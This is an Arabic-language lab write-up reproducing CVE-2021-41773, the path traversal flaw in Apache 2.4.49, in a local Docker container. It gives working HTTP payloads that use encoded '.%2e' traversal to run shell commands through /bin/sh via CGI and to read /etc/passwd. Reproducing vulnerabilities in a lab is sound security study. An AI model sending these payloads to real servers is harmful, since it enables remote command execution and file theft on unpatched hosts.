
إعادة إنتاج CVE-2021-41773
https://www.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited
ثغرة فريدة في Apache v2.4.49، الإصدارات الأقدم لا تحتوي على دالة ap_normalize_path، تم تقديم هذه الدالة في الإصدار v2.4.49، وهي التي تسببت في اجتياز الدليل، وتم إصلاحها في الإصدار v2.4.50
https://github.com/1nhann/CVE-2021-41773
في هذه البيئة، تم تحميل وحدة CGI:
LoadModule cgi_module modules/mod_cgi.so
root@ubuntu:~/$ git clone https://github.com/1nhann/CVE-2021-41773.git
root@ubuntu:~/$ cd CVE-2021-41773
root@ubuntu:~/CVE-2021-41773$ docker build -t cve .
root@ubuntu:~/CVE-2021-41773$ docker run -d -p 12345:80 cve
داخل الحاوية: image-20211006213843476
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bash.cgi HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close
image-20211006210008166
تم تنفيذ /bash.cgi من الجذر
راجع وثائق Apache حول CGI:
STDIN و STDOUT
يحدث التواصل الآخر بين الخادم والعميل عبر الإدخال القياسي (
STDIN) والإخراج القياسي (STDOUT). في السياق اليومي العادي،STDINيعني لوحة المفاتيح، أو ملفًا يُعطى للبرنامج للعمل عليه، وSTDOUTعادةً ما يعني وحدة التحكم أو الشاشة.عندما تقوم بـ
POSTنموذج ويب إلى برنامج CGI، يتم تجميع البيانات في ذلك النموذج بتنسيق خاص ويتم تسليمها إلى برنامج CGI الخاص بك عبرSTDIN. يمكن للبرنامج بعد ذلك معالجة تلك البيانات كما لو كانت قادمة من لوحة المفاتيح أو من ملف."التنسيق الخاص" بسيط جدًا. يتم ضم اسم الحقل وقيمته معًا بعلامة يساوي (=)، ويتم ضم أزواج القيم معًا بعلامة العطف (&). يتم تحويل الأحرف غير المناسبة مثل المسافات وعلامات العطف وعلامات المساواة إلى ما يعادلها بالنظام الست عشري حتى لا تعطل العمل. قد تبدو سلسلة البيانات الكاملة شيئًا مثل:
name=Rich%20Bowen&city=Lexington&state=KY&sidekick=Squirrel%20Monkey
بمعنى آخر، سيتم تمرير المعلمات المرسلة عبر POST كمحتوى stdin إلى برنامج CGI الذي يتم الوصول إليه.
إذا تم الوصول إلى /bin/sh، فيمكن الحصول على شيل (getshell) مباشرة.
poc:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close
data=;touch /tmp/pwned
image-20211006213421718
يمكن أيضًا عرض نتيجة تنفيذ الأمر مباشرة:
poc:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 22
Content-Type: application/x-www-form-urlencoded
Connection: close
echo Content-Type: text/plain; echo; id
إذا لم يتم تحميل وحدة CGI، فلن يتم تشغيل الملف الذي تم الوصول إليه:
#LoadModule cgi_module modules/mod_cgi.so
poc:
GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
Host: 127.0.0.1:12345
User-Agent: curl/7.68.0
Accept: */*
Connection: close
image-20211006232521116